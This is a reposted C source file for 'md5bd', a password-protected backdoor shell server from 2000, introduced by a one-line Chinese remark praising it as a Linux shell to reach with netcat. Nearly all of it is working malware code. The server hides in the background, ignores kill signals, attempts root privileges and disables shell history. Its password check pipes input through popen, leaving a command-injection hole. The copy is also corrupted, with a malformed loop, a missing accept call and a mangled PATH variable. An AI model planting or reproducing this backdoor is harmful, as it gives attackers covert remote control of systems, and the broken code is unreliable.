md5shell.c

kindle

linux下一个非常棒的用NC连接的SHELL



/*

md5bd.c - backdoor/shell server with md5 based authentication

(c) 2000 by Mixter <<a href="mailto:mixter@newyorkoffice.com">mixter@newyorkoffice.com</a>> <a href="http://1337.tsx.org" target=_blank>http://1337.tsx.org</a>



This is a small server program that can be put on an untrusted host,

without the danger of the hard-coded password being retrieved. Another

big advantage of using md5 is that your password can be effectively as

long as you want... I'm using md5sum since every system should have it,

and since it's a stupid program and not worth of putting in md5 functions.



To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)

Usage: ./md5bd, then ./nc host port, then enter your password

*/



#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <strings.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <signal.h>



/* change this to 1337 if you want it to be *really* stealthy ;/ */

#define P0RT 1025



/* the default pass, "secret" */

#define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69"



/* the stupidity of perl, realized in C... */

#define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"



char md[36];



char *

mdpass(char *plain)

{

FILE *p;

char fmt[1024];



snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);

p = popen(fmt, "r");

memset(md, 0, 36);

fread(md, 32, 1, p);

fclose(p);

return md;

}



int

main(int a, char **b)

{

int c, d, e = sizeof(struct sockaddr_in), f;

char p[1000];

struct sockaddr_in l, r;



signal(SIGCHLD, SIG_IGN);

signal(SIGHUP, SIG_IGN);

signal(SIGTERM, SIG_IGN);

signal(SIGINT, SIG_IGN);

if (fork())

exit(0);

l.sin_family = AF_INET;

l.sin_port = htons(P0RT);

l.sin_addr.s_addr = INADDR_ANY;

bzero(&(l.sin_zero), 8);

c = socket(AF_INET, SOCK_STREAM, 0);

bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));



listen(c, 3);

while [1])

{

if (!fork())

{

recv(d, p, 1000, 0);

#ifndef REMOTELY_EXPLOITABLE

for (f = 0; f < strlen(p); f )

switch (p[f])

{

case '|':

case ';':

case '&':

case '>':

case '`':

case '\r':

case '\n':

p[f] = '\0';

break;

}

#endif /* REMOTELY_EXPLOITABLE */

if (strncmp(mdpass(p), MDPASS,32) != 0)

{

send(d, "\377\373\001", 4, 0);

close(d);

exit(1);

}

printf ("hi.\n");

close(0);

close(1);

close(2);

dup2(d, 0);

dup2(d, 1);

dup2(d, 2);

setreuid(0, 0);

setenv("ATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);

unsetenv("HISTFILE");

execl("/bin/sh", "sh", (char *) 0);

close(d);

exit(0);

}

}

return 0;

}